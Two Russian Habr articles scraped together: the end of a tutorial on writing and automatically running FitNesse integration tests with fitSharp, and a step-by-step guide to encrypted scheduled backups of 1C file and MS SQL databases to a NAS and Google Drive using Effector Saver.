Хоть это и не документировано, но на деле есть очень просто решение: если Вы хотите принимать на вход класс, то у него должен быть публичный статический метод Parse(string arg). Который, естественно, вернет наш класс. Например, Int32 полностью подходит под определение (для структур это тоже работает). Пользуясь этой схемой, получаем неплохое разделение ответственности: наши тестовые методы будут работать с уже более-менее обработанными данными. И все исключения при разборе всё равно отобразятся пользователю.
Абсолютная аналогия происходит с методами, которые возвращают коллекции (см. выше). Они проверяются с помощью таблички, ну то есть тестировщик подает на вход ожидаемые данные, а Ваша функция должна вернуть правильную коллекцию. В этом случае, если Вы возвращаете класс, в котором все поля могут быть разобраны (ну т. е. все типы имеют метод Parse), то будет происходить не сравнение строк, а сравнение объектов. Которое уже полностью контролируется Вами.
###### Табличка на входе
Зачастую удобно добавлять в систему данные с помощью таблиц. Стандартный пример — это любой Mapping (например, настройки — это Map: name --> value). То есть по сути на вход передается таблица и нескольких колонок. Это тоже можно сделать в fitSharp. Для этого Вам потребуется создать такой метод:
public SetUpFixture SetSettingsForUserAs(User user). Название метода и аргументы могут быть любыми, а вот возвращаемое значение — именно SetUpFixture.
Далее реализуем класс —
```
internal sealed class MySettings : SetUpFixture
{
private readonly User user;
public MySettings(User user)
{
this.user = user;
}
public NameValue(string parameterName, string parameterValue)
{
}
}
```
И в итоге наша таблица будет выглядеть так:
| | | |
| --- | --- | --- |
| **Set Settings For User** | habrauser | **As** |
| **Name** | **Value** |
| First Name | John |
| Last Name | Doe |
Как произошел mapping колонок более-менее ясно. И аргументы теперь подаются в виде вот таких табличек.
###### Автоматический запуск
Итак, Вы создали тест. Или даже набор тестов — Test Suite. И они заработали в FitNesse. Теперь самое время начать запускать их автоматически.
Есть два основных способа для запуска:
1. С помощью rest запроса выполнить тест, скачать xml (например,
```
http://myServer:8080/MyTests?suite&format=xml
```
). Результатом будет xml файл с информацией, что выполнялось, как отработало, время, результат и пр.
2. Запустить еще одну копию FitNesse в режиме «выполниться и закрыться»: java.exe -jar «fitnesse-standalone.jar» -d D:\ -c «MyTests?suite&format=xml» -b «d:\builds\TestsResults.xml». В этом случае FitNesse запустится, выполнит rest запрос сам у себя и, после ответа, закроется.
Второй способ работает всегда, то есть не требуется запущенного FitNesse, более того, можно держать работающий FitNesse и одновременно с этим выполнять тесты таким способом. Все результаты будут появляться в обоих FitNesse'ах.
#### Итог
Как итог, в этой статье я постарался быстро-быстро пробежаться по верхам и рассказать, как создать и запускать интеграционные тесты FitNesse. Чаще всего через эти шаги проходят методом проб и ошибок, однако если бы у меня год назад была бы эта статья, она бы сэкономила пару дней точно. Надеюсь, она поможет и вам. | https://habr.com/ru/post/228967/ | null | ru | null |
# Бэкап файловых и SQL баз 1С (в облако и с шифрованием)
В этой статье я хочу поделиться опытом резервного копирования файловых и SQL баз 1С в локальное, сетевое и облачное (на примере Google Drive) хранилище с помощью Effector Saver.
ПО является платным: 2500₽.
Переход на новую версию (с 3 на 4) также является платным: 1250₽.
Писал инструкцию для друга, но думаю она пригодиться и кому-то из вас.
И как всегда, в комментариях, вы научите меня чему-то новому =)
В конце инструкции приведен пример журнала, по которому хорошо видна скорость выполнения задачи.
**Цель:**
Автоматическое создание шифрованных бэкапов по расписанию с отчётом об ошибках на почту.
**Логика бэкапов:**
* Ежедневно последние 30 шт (срок хранения 1 месяц)
* Ежемесячно 1 числа последние 24 шт (срок хранения 2 года)
* Ежегодно 1 февраля последние 10 шт (срок хранения 10 лет)
* Бэкапы выгружаются в хранилище бэкапов (локальное или сетевое) из под учётки backup
* Бэкапы выгружаются в облако Goole Drive (возможно с собственным OAuth ID Client/Secret)
* Отправка отчета об ошибках на электронную почту
**Небольшое пояснение**
* Данная инструкция приводится как готовый пример использования, который можно и нужно адаптировать под свои задачи.
* Задания могут запускаться в одно время, т.к. поддерживается параллельное выполнение заданий, что ощутимо сокращает время для бэкапов.
* Дополнительное копирование выполняется на основе задачи, т.е. выполняется копирование последнего уже созданного бэкапа. Например, если дополнительное копирование должно быть выполнено 10 числа, а бэкап выбранной задачи от 10 числа завершился с ошибкой (а мы не стали вмешиваться), то дополнительное копирование сделает копию для последнего успешного бэкапа выбранной задачи, в нашем примере будет от 9 числа.
* В программе можно настроить выгрузку баз средствами 1С в виде .dt файлов, с автоматической блокировкой/разблокировкой базы и выкидыванием пользователей. В данной инструкции такой способ не рассматривается, как ненадежный способ резервного копирования формата .dt.
**1. Установка и настройка**
Устанавливаем, запускаем.
— Сервис > Параметры
* Автозагрузка
Запускать как служба Windows (сервер)
пользователь backup, пароль свой
**Пояснения по пользователю backup, для чего отдельная учетка**
> Для бэкапов считаю важным создавать и использовать отдельную учетную запись, например backup. Это может быть как локальная так и доменовская учетка.
>
> Доступ к хранилищу бэкапов для админов должен быть настроен для чтения, и только у учетки backup на запись. Это позволит защитить ваши бэкапы от многих опасностей (дурная голова, вирусы). А если вам понадобится внести какие-то изменения в хранилище бэкапов, то всегда можно дать себе временны доступ, или запустить любой проводник (например Total Commander) от имени учетки backup для полного доступа к хранилищу.
* Параметры агента
Разрешить параллельную работу потоковых задач: 5
Выбираем от мощности сервера и скорости канала интернет (для выгрузки в облако)
Использовать указанный каталог временных файлов:
\\NAS\Backup\Temp
**Пояснения по использованию сетевого пути**
> Сетевую папку желательно разместить на компьютере с данной программой, т.е. по факту для нас это будет локальная папка (если скорость позволяет, то и любой другой сетевой путь).
>
> Доступ к папке Temp (каталог временных файлов) должен быть:
>
>
>
>
> 1. для backup на запись
> 2. для учетки из под которой работает служба MS SQL Server на запись
> 3. админам на чтение
>
> К сожалению данная программа не сообщает о своей особенности пользователю, когда тот настраивает резервное копирование SQL баз. Она считает что SQL сервер находится на том же компьютере, что и она. Когда создается бэкап SQL базы, то серверу SQL передается путь для временной папки буквально, и SQL сервер выгружает бэкап в свою локальную временную папку. После чего не может найти бэкап в своей временной папке и вываливает ошибку.
>
>
>
> Чтобы обойти это ограничение, мы выбираем сетевой путь для временной папки. Тогда SQL сервер будет получать сетевой путь и будет выгружать бэкап по этому адресу.
>
>
>
> В будущих версиях разработчики обещали подумать над тем, чтобы добавить настройку для задач SQL бэкапов, в которой можно будет прописать сетевой путь для выгрузки, и не менять общий путь к временным папкам.
* Параметры менеджера
Устанавливаем пароль, если к программе может получить доступ нежелательный пользователь.
* Файлы архивов
Варианты окончания имени архива: yyyy.mm.dd\_hh.nn.ss
Для эстетики и имя без пробелов (старая привычка)
* Служебные
OAuth данные приложения в облаке — Обновить данные ClientID / ClientSecret
**Тут вносить изменения не обязательно, но как всегда есть небольшое НО**
> Недавно я получил ошибку выгрузки бэкапов в облако из-за превышения лимитов OAuth. Ошибка была только один раз, разработчики устранили эту проблему, но зачем ждать её снова. Я решил получить свой OAuth на Google Диск и забыть об этом.
>
> Инструкция с картинками, как получить свой Client ID и Secret нашел тут: <https://github.com/Cloudbox/Cloudbox/wiki/Google-Drive-API-Client-ID-and-Client-Secret>
**2. Подготовка**
— Сервис > Управление хранилищами > Создать
* Локальная/сетевая папка:
Тут все понятно, следуя нашей логике бэкапов (в начале статьи) создаем 3 хранилища для удобства
\\NAS\Backup\EveryDay
\\NAS\Backup\EveryMonth
\\NAS\Backup\EveryYear
* Google диск:
Создаем подключение к облаку Google диск.
Название дадим по нашей логике: EveryDay
Жмем кнопку Авторизация, вводим логин/пароль, готово.
**Если вы это настраиваете удаленно на сервере или чужом компьютере**
> То можно выполнить авторизацию альтернативным способом. Закрываем окно ввода логина и пароля — появится ошибка авторизации — жмем кнопку Пользовательский режим, далее жмем по ссылке Получить код подтверждения ссылка авторизации откроется в браузере. Ссылку копируем к себе на компьютер, авторизуемся у себя на компьютере, подтверждаем права доступа, получаем ключ, копируем его обратно в поле окна Авторизация приложения в пользовательском режиме, жмем ОК
Выбираем путь к папке в облаке, аналогично:
Backup/EveryDay
Дополнительные облачные хранилища для ежемесячных и ежегодных копий делаем через копирование (Создать > Скопировать)
В итоге получаем 3 облачных хранилища:
EveryDay (Google Диск)
EveryMonth (Google Диск)
EveryYear (Google Диск)
На этом настройка Управление хранилищами закончена.
**3. Создание задач резервного копирования**
**3.1. Задачи > Добавить задачу > Резервное копирование файлов и баз данных (SQL)**
* Основные параметры
Включить в архив бэкап базы SQL (на примере Microsoft SQL Server)
* База Microsoft SQL
Прописываем все реквизиты.
Проверяем, что на MS SQL сервере открыт TCP 1433 порт.
Жмем: Проверить
* Хранилище архивов
— Добавляем хранилище \\NAS\Backup\EveryDay
Автоматически удалять устаревшие резервные копии: 30
— Добавляем хранилище EveryDay (Google Диск)
Автоматически удалять устаревшие резервные копии: 30
* Файл архива
Имя файла архива: название базы
Окончание имени архива: yyyy.mm.dd\_hh.nn.ss
Архивирование
Формат: 7z
Сжатие: без сжатия
**Почему без сжатия?**
> При резервном копировании SQL базы стоит рассмотреть 2 варианта
>
>
>
> 1. Сжатие базы средствами SQL сервера. — Быстрый, но сжимает хуже чем 7z.
>
> Если выбрали этот вариант, то нужно:
>
> — Выбрать: без сжатия (т.к. сжимать уже сжатый .bak файл без толку)
>
> — В свойствах MS SQL сервера включить: Параметры базы данных > Сжимать резервные копии.
>
>
>
> 2. Сжатие базы средствами 7z — Медленный, но сжимает лучше чем SQL.
>
> Если выбрали этот вариант, то нужно:
>
> — Выбрать: максимальное сжатие
>
> — В свойствах MS SQL сервера отключить: Параметры базы данных > Сжимать резервные копии.
>
>
>
> В SQL бэкапах я использую первый вариант, хоть он и сжимает по хуже, зато выгрузка делается за считанные минуты (а то и секунды). А вот второй вариант может растянуться на часы.
>
>
>
> В будущих версиях программы разработчики обещали подумать над тем, чтобы добавить опцию сжатия MS SQL баз в свойства задачи, чтобы не бегать в свойства MS SQL сервера.
Шифровать архивы
Шифровать имена файлов
Устанавливаем пароль (запишите его, если забудете, то бэкапы будет не восстановить)
* Расписание автозапуска:
Запускать по расписанию: включить
Ежедневно 03:00
* Прервать выполнение задачи через: включить
2 час. 0 мин.
**3.2. Задачи > Добавить задачу > Резервное копирование файлов и баз данных (файл)**
* Основные параметры
Включить в архив файлы
* Файлы
Путь к файлам: Выбираем путь к папке в которой лежат файловые базы 1С, например «D:\Bases»
Если хотим сделать бэкап всех баз в подкаталогах, выбираем:
Имена сохраняемых файлов, каталогов...:
1Cv8.1CD
Включить подкаталоги (рекурсивно)
Если хотим сделать бэкап выборочных баз в подкаталогах, выбираем:
Имена сохраняемых файлов, каталогов...:
Buh\1Cv8.1CD
Trade\1Cv8.1CD
* Хранилище архивов
— Добавляем хранилище \\NAS\Backup\EveryDay
Автоматически удалять устаревшие резервные копии: 30
— Добавляем хранилище EveryDay (Google Диск)
Автоматически удалять устаревшие резервные копии: 30
* Файл архива
Имя файла архива: название базы
Окончание имени архива: yyyy.mm.dd\_hh.nn.ss
Архивирование
Формат: 7z
Сжатие: максимальное
Шифровать архивы
Шифровать имена файлов
Устанавливаем пароль (запишите его, если забудете, то бэкапы будет не восстановить)
* Расписание автозапуска:
Запускать по расписанию: включить
Ежедневно 03:00
* Прервать выполнение задачи через: включить
2 час. 0 мин.
Основные задачи ежедневного резервного копирования настроили, переходим к дополнительным
**4. Задачи > Добавить задачу > Дополнительное копирование**
* Основные параметры
Задача резервного копирования — источник: выбираем нужную задачу
Хранилище… источник: выбираем хранилище \\NAS\Backup\EveryDay
* Хранилище архивов
— Добавляем хранилище \\NAS\Backup\EveryMonth
Автоматически удалять устаревшие резервные копии: 24
— Добавляем хранилище EveryMonth (Google Диск)
Автоматически удалять устаревшие резервные копии: 24
* Файл архива
Имя файла архива: название базы
Окончание имени архива: yyyy.mm.dd\_hh.nn.ss
Архивирование
Формат: 7z
Сжатие: без сжатия
Шифровать архивы
Шифровать имена файлов
Устанавливаем пароль (запишите его, если забудете, то бэкапы будет не восстановить)
* Расписание автозапуска:
Запускать по расписанию: включить
Ежемесячно. Все месяцы 1 числа.
05:00
* Прервать выполнение задачи через: включить
2 час. 0 мин.
По аналогии создаем задачу Дополнительное копирования для ежегодного плана, для быстроты копируем прошлую ежемесячную задачу и меняем в ней название, хранилище и расписание
* Хранилище архивов
— Добавляем хранилище \\NAS\Backup\EveryYear
Автоматически удалять устаревшие резервные копии: 12
— Добавляем хранилище EveryYear(Google Диск)
Автоматически удалять устаревшие резервные копии: 12
* Расписание автозапуска:
Запускать по расписанию: включить
Ежемесячно. Февраль 1 числа (год закрыт)
05:00
Дополнительные задачи резервного копирования настроили, переходим к формированию отчета на почту
**5. Задачи > Добавить задачу > Отправка отчетов**
* Основные параметры
Количество дней...: 1
* Выбираем все задачи, у всех выбираем фильтр записей: Записи журнала с ошибками
* Параметры почты
Заполняем реквизиты почты. Куда и с какой темой отправлять отчеты.
* Расписание автозапуска:
Запускать по расписанию: включить
Ежедневно
07:00
Осталось запустить все задачи по очереди и проверить на ошибки.
**Пример журнала резервного копирования MS SQL базы весом 52Гб (mdf):**
`===========================================
Задача: Base1
Вид задачи: Резервное копирование файлов и баз данных
Компьютер: SRVTS0
Версия: 4.5 / 2
Запуск: По расписанию, как служба
Начало: 11.11.2019 4:01:08
Конец: 11.11.2019 5:13:57
Статус: Успешное выполнение задачи
===========================================
11.11.2019 4:01:08 - Резервное копирование MSSQL базы "Base1" ...
11.11.2019 4:01:08 - SQL Server version 11
11.11.2019 4:22:15 - Выполнено
11.11.2019 4:22:15 - Резервное копирование файлов ...
11.11.2019 4:22:15 - формат 7z, без сжатия, c шифрованием заголовка
11.11.2019 4:26:50 - 1 файлов добавлено, 0 файлов пропущено
11.11.2019 4:26:50 - Выполнено
11.11.2019 4:26:52 - Загрузка бэкапа 5,41 GB в хранилище "EveryDay (Google Диск)" ...
11.11.2019 4:26:54 - Загрузка "Base1_2019.11.11_04.26.52.7z" 5,41 GB (1 из 1)
11.11.2019 5:13:57 - Загрузка удачно завершена
11.11.2019 4:26:52 - Загрузка бэкапа 5,41 GB в хранилище "\\NAS\Backup\EveryDay" ...
11.11.2019 4:26:52 - Загрузка "Base1_2019.11.11_04.26.52.7z" 5,41 GB (1 из 1)
11.11.2019 4:28:13 - Загрузка удачно завершена`
Из журнала видно, что загрузка в хранилище и в облако началась одновременно.
Бэкап в хранилище был завершен через 27 минут. А в облако был выгружен через 1 час 12 минут от старта задачи.
При условии, что параллельно в это же время выполнялось еще 4 задачи резервного копирования баз, размер которых 38Гб, 28Гб, 6Гб и 5Гб (mdf).
Все задачи были одновременно запущены в 4:00 и успешно завершены до 5:15:00.
**Выводы:**
Есть конечно и небольшие недоработки, кроме тех, что уже описал в статье:
* отсутствие возможности экспорта и импорта настроек и задач в виде текстового файла (именно текстового, а не mdb и т.п., чтобы можно было легко открыть и отредактировать)
* нет визуального сохранения настроек OAuth, всегда пусто и не понятно настроено или нет.
* нет возможности быстро включить/выключать задания (нужно открывать каждое и заходить в расписание). Хотя в главном окне интуитивно так и просится двойной клик по галочке.
> Но в целом результат меня очень порадовал. Считаю программу очень полезной.
>
>
>
> Напишите о своих алгоритмах бэкапов, которые возможно вас сильно выручали и могут быть полезны другим.
>
>
UPD1: Добавил информацию о стоимости ПО, спасибо [Filex](https://habr.com/ru/users/filex/) | https://habr.com/ru/post/474944/ | null | ru | null |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.